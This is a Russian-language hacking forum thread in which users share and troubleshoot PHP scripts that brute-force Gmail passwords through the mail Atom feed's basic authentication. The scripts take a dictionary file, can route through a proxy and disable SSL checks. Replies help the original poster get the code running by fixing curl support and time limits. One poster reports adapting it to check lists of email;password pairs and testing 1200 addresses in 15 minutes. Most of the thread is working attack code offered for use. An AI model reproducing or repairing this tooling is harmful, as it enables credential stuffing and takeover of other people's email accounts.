LARIKA Gmail Brute Forcer [PHP]

Discussion in 'Уязвимости Mail-сервисов' started by dvetreti, 25 Jul 2009.

  1. dvetreti

    dvetreti New Member

    Joined:
    18 Jul 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Подскажите новичку, как правильно настроить и запустить этот код:

    PHP:
    <?php 
     
    // LARIKA Gmail Brute Forcer 
     
    $dict "";      // Your dictionary file here 
    $username "";  // Your username here 
    $proxy "";     // Your proxy here
    $port "";      // Your proxy port here
     
        
    $headers = array( 
        
    "Host: mail.google.com"
        
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"
        
    "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
        
    "Accept-Language: en-us,en;q=0.5"
        
    "Accept-Encoding: text"# No gzip, it only clutters your code! 
        
    "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"
        
    "Date: ".date(DATE_RFC822
        ); 
     
        
    $c curl_init('https://mail.google.com/mail/feed/atom'); 
        
    curl_setopt($cCURLOPT_PROXY$proxy);
        
    curl_setopt($cCURLOPT_PROXYPORT$port);
        
    curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); // use authentication 
        
    curl_setopt($cCURLOPT_HTTPHEADER$headers); // send the headers 
        
    curl_setopt($cCURLOPT_RETURNTRANSFER1); // We need to fetch something from a string, so no direct output! 
        
    curl_setopt($cCURLOPT_FOLLOWLOCATION1); // we get redirected, so follow 
        
    curl_setopt($cCURLOPT_SSL_VERIFYPEER0); 
        
    curl_setopt($cCURLOPT_SSL_VERIFYHOST1); 
        
    curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); // always stay authorised 
        
    $wrong curl_exec($c); // Get it 
        
    curl_close($c); // Close the curl stream 
     
     
    foreach(file($dict) as $line

        
    $word str_replace("\r\n"""$line); 
               if(
    check_correct($username$word$wrong)) {
                die(
    "Found the password : ".$word.""); 
            } 
     

     
     
    // Function for checking whether the username and password are correct 
    function check_correct($username$password$wrong

    $headers1 = array( 
        
    "Host: gmail.google.com"
        
    "Authorization: Basic ".base64_encode($username.':'.$password), 
        
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4"
        
    "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
        
    "Accept-Language: en-gb,en;q=0.5"
        
    "Accept-Encoding: text"
        
    "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"
        
    "Date: ".date(DATE_RFC822
    ); 
     
    $c curl_init('https://gmail.google.com/gmail/feed/atom'); 
    curl_setopt($cCURLOPT_PROXY$proxy);
    curl_setopt($cCURLOPT_PROXYPORT$port);
    curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); 
    curl_setopt($cCURLOPT_COOKIESESSIONtrue); 
    curl_setopt($cCURLOPT_HTTPHEADER$headers1); 
    curl_setopt($cCURLOPT_RETURNTRANSFER1); 
    curl_setopt($cCURLOPT_FOLLOWLOCATION1); 
    curl_setopt($cCURLOPT_SSL_VERIFYPEER0); 
    curl_setopt($cCURLOPT_SSL_VERIFYHOST1); 
    curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); 
    curl_setopt($cCURLOPT_SSL_VERIFYHOST1); 
    $str curl_exec($c); 
    curl_close($c); 
    print 
    $str// for debug 
            
    if($str != $wrong) {return true;} 
            else {return 
    false;} 

     
     
    ?>
    После запуска, на странице выскакивает сообщение:
    Fatal error: Call to undefined function curl_init() in /home/tu2.ru/n/ni/nic/htdocs/test/index.php on line 20

    Может быть не правильно заполняю:
    $dict = "pass.txt"
    $username = "klgdfs"
    $proxy = "212.49.116.186"
    $port = "80"

    pass.txt положил туда же, куда и php-файл.
    мыло реальное, прокси рабочее...
     
  2. RESPECТ

    RESPECТ Member

    Joined:
    6 Feb 2009
    Messages:
    9
    Likes Received:
    6
    Reputations:
    0
    Похоже твой хостинг не поддерживает curl
     
  3. dvetreti

    dvetreti New Member

    Joined:
    18 Jul 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Переложил на хостинг с поддержкой curl - ваще ничего не работает. Всё зависает и ошибок не выдает, хотя правильный пароль находится в третьей строчке списка pass.txt :(
     
  4. RESPECТ

    RESPECТ Member

    Joined:
    6 Feb 2009
    Messages:
    9
    Likes Received:
    6
    Reputations:
    0
    Может быть Прокся кривая
     
  5. dvetreti

    dvetreti New Member

    Joined:
    18 Jul 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    RESPECТ

    Попробовал на Денвере другой код (см. ниже). Вроде бы работает, но через 30 секунд перебора вываливается вот эта хрень:

    Fatal error: Maximum execution time of 30 seconds exceeded in Z:\home\test1.ru\www\index.php on line 173

    Неужели ещё никто не сделал рабочий брут для gmail? Уже неделю по всему инету ищу и ничего путного найти не могу. Странно как-то и печально. :(

    PHP:
    <?php

    //////////////////////
    ////Gmail-Brute//////
    //////////////////

    ////////////////////////
    # This script was created to Brute Force G-Mail Logins,#
    #it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #
    ////////////////////////

    $dic ="pass.txt";

    ///////////////////////



    echo "
    <title>Gmail Brute Force Attacker</title>
    </head>
    <style type='text/css'>
    body {


    font:Verdana, Arial, Helvetica, sans-serif;
    font-size:12px;
    border-color:#FFFFFF;
    }
    .raster_table {
    background-color:#444444;
    border-color:#CCCCCC;
    }
    .alert {
        color:#FF0000;
    }
    </style>
    <body>
    <table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
    <tr>
    <td>
    <div align='center'><b>Gmail Brute Force Attacker</b></div>
            </td>
        </tr>
    </table>
    <table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
        <tr>
            <td>
                <div align='center'>

                </div>
            </td>
        </tr>
        <tr>
            <td>
                <div align='center'>
                &nbsp;
                </div>
            </td>
        </tr>
        <tr>
            <td>
                <div align='center'>
                    <form method='post'>
                        Username to brute:<br>
                        <input name='username' type='text' /><br><br>
                        <input name='attack' type='submit' value='dictionary' /> - <input name='attack' type='submit' value='brute' /><br>
                    </form>
                </div>
            </td>
        </tr>
        <tr>
            <td>
                <div align='center'>
                &nbsp;
                </div>
            </td>
        </tr>
    </table>
    "
    ;

    // Sets variables and retrives google error for comparing
    if(isset($_POST['attack']) && isset($_POST['username'])) {
        
    $username $_POST['username'];
        
    $headers = array(
        
    "Host: mail.google.com",
        
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4",
        
    "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
        
    "Accept-Language: en-us,en;q=0.5",
        
    "Accept-Encoding: text"# No gzip, it only clutters your code!
        
    "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
        
    "Date: ".date(DATE_RFC822)
        );
        
    $c curl_init('https://mail.google.com/mail/feed/atom');
        
    curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); // use authentication
        
    curl_setopt($cCURLOPT_HTTPHEADER$headers); // send the headers
        
    curl_setopt($cCURLOPT_RETURNTRANSFER1); // We need to fetch something from a string, so no direct output!
        
    curl_setopt($cCURLOPT_FOLLOWLOCATION1); // we get redirected, so follow
        
    curl_setopt($cCURLOPT_SSL_VERIFYPEER0);
        
    curl_setopt($cCURLOPT_SSL_VERIFYHOST1);
        
    curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); // always stay authorised
        
    $wrong curl_exec($c); // Get it
        
    curl_close($c); // Close the curl stream
    }

    //Dictionary Attack
    if($_POST['attack'] == "dictionary") {
        
    $Dictionary file("$dic");
        for (
    $Position 0$Position count($Dictionary); $Position++) {
            
    $Dictionary[$Position] = str_replace("\r\n"""$Dictionary[$Position]);
            if(
    check_correct($username$Dictionary[$Position])) {
                die(
    "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
        <tr>
            <td>
                <div align='center'><b>Found the password of: "
    .$Dictionary[$Position]."<br> For the account: ".$username."</b></div>
            </td>
        </tr>
    </table>
    </body>
    </html>"
    );
            }
        }
        echo 
    "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
        <tr>
            <td>
                <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>"
    .$username."</span> during the dictionar
    y attack.</b></div>
            </td>
        </tr>
    </table>"
    ;
    }

    //Brute Attack
    elseif($_POST['attack'] == "brute") {
        for (
    $Pass 0$Pass 2$Pass++) {
            if (
    $Pass == 0){$Pass "a";} elseif ($Pass == 1){ $Pass "a"; }
            if(
    check_correct($username$Pass)) {
                die(
    "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
        <tr>
            <td>
                <div align='center'><b>Found the password of: "
    .$Dictionary[$Position]."<br> For the account: ".$username."</b></div>
            </td>
        </tr>
    </table>
    </body>
    </html>"
    );
            }
        }
        echo 
    "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
        <tr>
            <td>
                <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>"
    .$username."</span> during the brute for
    ce attack.</b></div>
            </td>
        </tr>
    </table>"
    ;
    }
    echo 
    "</body>
    </html>"
    ;

    // Function for checking whether the username and password are correct
    function check_correct($username$password)
    {
            global 
    $wrong$headers;
            
    $c curl_init('https://'.$username.':'.$password.'@mail.google.com/mail/feed/atom');
            
    curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); // use authentication
            
    curl_setopt($cCURLOPT_HTTPHEADER$headers); // send the headers
            
    curl_setopt($cCURLOPT_RETURNTRANSFER1); // We need to fetch something from a string, so no direct output!
            
    curl_setopt($cCURLOPT_FOLLOWLOCATION1); // we get redirected, so follow
            
    curl_setopt($cCURLOPT_SSL_VERIFYPEER0);
            
    curl_setopt($cCURLOPT_SSL_VERIFYHOST1);
            
    curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); // always stay authorised
            
    $str curl_exec($c); // Get it
            
    curl_close($c);
            if(
    $str != $wrong) {return true;}
            else {return 
    false;}
    }


    ?>
     
  6. aka PSIH

    aka PSIH Elder - Старейшина

    Joined:
    7 Feb 2006
    Messages:
    582
    Likes Received:
    284
    Reputations:
    51
    добавь в начало кода set_time_limit(0);

    брутов полно, только нужно немного мозга иметь чтобы запустить их ;)
     
  7. Player#1

    Player#1 Member

    Joined:
    11 Nov 2008
    Messages:
    95
    Likes Received:
    35
    Reputations:
    10
    Fatal error: Maximum execution time of 30 seconds exceeded

    Добавь:

    <?php ini_set("max_execution_time", "60"); ?>
    или
    <?php set_time_limit (60); ?>

    или же положи в корень сайта файл .htaccess следующего содержания:
    php_value max_execution_time 60
     
  8. Krist_ALL

    Krist_ALL Banned

    Joined:
    14 Jan 2009
    Messages:
    436
    Likes Received:
    193
    Reputations:
    24
    Какие детские вопросы. Прежде че то запускать ,надо разобратся как это работает! То курла нет, то время истекло...
     
  9. dvetreti

    dvetreti New Member

    Joined:
    18 Jul 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Оч смешно. Специально не сказали, что это просто gmail забанил?
    Можно подумать, вы родились с клавиатурой в руках.
     
  10. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    э?Просто время выполнения скрипта в пыхе по дефолту 30 секунд.Это никак с джимаилом не связано.
     
  11. dvetreti

    dvetreti New Member

    Joined:
    18 Jul 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Спасибо, добрый человек. :)
     
  12. Vinch3

    Vinch3 New Member

    Joined:
    31 Aug 2007
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    и че пашет твой скрипт?на гмыле вроде смски для апрува ввели
     
  13. llexus

    llexus Member

    Joined:
    19 Sep 2010
    Messages:
    57
    Likes Received:
    6
    Reputations:
    10
    Подправил, чтоб перебирал по списку email;pass, просканил 1200 адресов минут за 15

    PHP:
    <?php

    //////////////////////
    ////Gmail-Brute//////
    //////////////////

    ////////////////////////
    # This script was created to Brute Force G-Mail Logins,#
    #it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #
    ////////////////////////

    $dic ="pass.txt";
    set_time_limit(0);
    ///////////////////////



    echo "
    <title>Gmail Brute Force Attacker</title>
    </head>
    <style type='text/css'>
    body {


    font:Verdana, Arial, Helvetica, sans-serif;
    font-size:12px;
    border-color:#FFFFFF;
    }
    .raster_table {
    background-color:#444444;
    border-color:#CCCCCC;
    }
    .alert {
        color:#FF0000;
    }
    </style>
    <body>
    <table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
    <tr>
    <td>
    <div align='center'><b>Gmail Brute Force Attacker</b></div>
            </td>
        </tr>
    </table>
    <table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
        <tr>
            <td>
                <div align='center'>

                </div>
            </td>
        </tr>
        <tr>
            <td>
                <div align='center'>
                &nbsp;
                </div>
            </td>
        </tr>
        <tr>
            <td>
                <div align='center'>
                    <form method='post'>
                        Username to brute:<br>
                        <input name='username' type='text' /><br><br>
                        <input name='attack' type='submit' value='dictionary' /> - <input name='attack' type='submit' value='brute' /><br>
                    </form>
                </div>
            </td>
        </tr>
        <tr>
            <td>
                <div align='center'>
                &nbsp;
                </div>
            </td>
        </tr>
    </table>
    "
    ;

    // Sets variables and retrives google error for comparing
    if(isset($_POST['attack']) && isset($_POST['username'])) {
        
    $username $_POST['username'];
        
    $headers = array(
        
    "Host: mail.google.com",
        
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4",
        
    "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
        
    "Accept-Language: en-us,en;q=0.5",
        
    "Accept-Encoding: text"# No gzip, it only clutters your code!
        
    "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
        
    "Date: ".date(DATE_RFC822)
        );
        
    $c curl_init('https://mail.google.com/mail/feed/atom');
        
    curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); // use authentication
        
    curl_setopt($cCURLOPT_HTTPHEADER$headers); // send the headers
        
    curl_setopt($cCURLOPT_RETURNTRANSFER1); // We need to fetch something from a string, so no direct output!
        
    curl_setopt($cCURLOPT_FOLLOWLOCATION1); // we get redirected, so follow
        
    curl_setopt($cCURLOPT_SSL_VERIFYPEER0);
        
    curl_setopt($cCURLOPT_SSL_VERIFYHOST1);
        
    curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); // always stay authorised
        
    $wrong curl_exec($c); // Get it
        
    curl_close($c); // Close the curl stream
    }

    //Dictionary Attack
    if($_POST['attack'] == "dictionary") {
        
    $Dictionary fopen($dic"r");
        do {
            
    $line fgets($Dictionary);
            
    $line str_replace("\r\n"""$line);
            
    $pair explode(";"$line);
            
    $login explode("@"$pair[0]);
            if(
    check_correct($login[0], $pair[1])) {
                print(
    "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
        <tr>
            <td>
                <div align='center'><font color='green'><b>"
    .$login[0]."@".$login[1].";".$pair[1]."</b></font></div>
            </td>
        </tr>
    </table>
    </body>
    </html>"
    );
            }
        } while (!
    feof($Dictionary));
        echo 
    "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
        <tr>
            <td>
                <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>"
    .$login[0]."</span> during the dictionar
    y attack.</b></div>
            </td>
        </tr>
    </table>"
    ;
    }

    //Brute Attack
    elseif($_POST['attack'] == "brute") {
        for (
    $Pass 0$Pass 2$Pass++) {
            if (
    $Pass == 0){$Pass "a";} elseif ($Pass == 1){ $Pass "a"; }
            if(
    check_correct($username$Pass)) {
                die(
    "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
        <tr>
            <td>
                <div align='center'><b>Found the password of: "
    .$Dictionary[$Position]."<br> For the account: ".$username."</b></div>
            </td>
        </tr>
    </table>
    </body>
    </html>"
    );
            }
        }
        echo 
    "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'>
        <tr>
            <td>
                <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>"
    .$username."</span> during the brute for
    ce attack.</b></div>
            </td>
        </tr>
    </table>"
    ;
    }
    echo 
    "</body>
    </html>"
    ;

    // Function for checking whether the username and password are correct
    function check_correct($username$password)
    {
            global 
    $wrong$headers;
            
    $c curl_init('https://'.$username.':'.$password.'@mail.google.com/mail/feed/atom');
            
    curl_setopt($cCURLOPT_HTTPAUTHCURLAUTH_ANY); // use authentication
            
    curl_setopt($cCURLOPT_HTTPHEADER$headers); // send the headers
            
    curl_setopt($cCURLOPT_RETURNTRANSFER1); // We need to fetch something from a string, so no direct output!
            
    curl_setopt($cCURLOPT_FOLLOWLOCATION1); // we get redirected, so follow
            
    curl_setopt($cCURLOPT_SSL_VERIFYPEER0);
            
    curl_setopt($cCURLOPT_SSL_VERIFYHOST1);
            
    curl_setopt($cCURLOPT_UNRESTRICTED_AUTH1); // always stay authorised
            
    $str curl_exec($c); // Get it
            
    curl_close($c);
            if(
    $str != $wrong) {return true;}
            else {return 
    false;}
    }


    ?>
     
    #13 llexus, 21 Sep 2010
    Last edited: 28 Sep 2010
    1 person likes this.
  14. HIMIKAT

    HIMIKAT Elder - Старейшина

    Joined:
    12 Jan 2007
    Messages:
    2,707
    Likes Received:
    581
    Reputations:
    403
    За брут спасибо конечно. А никто не видел реализаций в виде софта? А то я ни разу не встречал.
     
  15. NemeZz

    NemeZz Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    102
    Likes Received:
    67
    Reputations:
    3
    точно был такой софт от Stels-а. Не помню правда, был ли он пабликом.
     
  16. Avtoritet

    Avtoritet Member

    Joined:
    29 Sep 2010
    Messages:
    174
    Likes Received:
    10
    Reputations:
    -5
    глянь какая у меня хрень получилась... что не так?
    http://dozdroperma12.narod.ru/index.htm
     
  17. Avtoritet

    Avtoritet Member

    Joined:
    29 Sep 2010
    Messages:
    174
    Likes Received:
    10
    Reputations:
    -5
    вот так
     
  18. Mr.Burns

    Mr.Burns Banned

    Joined:
    13 Aug 2010
    Messages:
    28
    Likes Received:
    10
    Reputations:
    0
    народ не поддерживает пыхпых.
     
  19. Avtoritet

    Avtoritet Member

    Joined:
    29 Sep 2010
    Messages:
    174
    Likes Received:
    10
    Reputations:
    -5
    спасиб, тупанул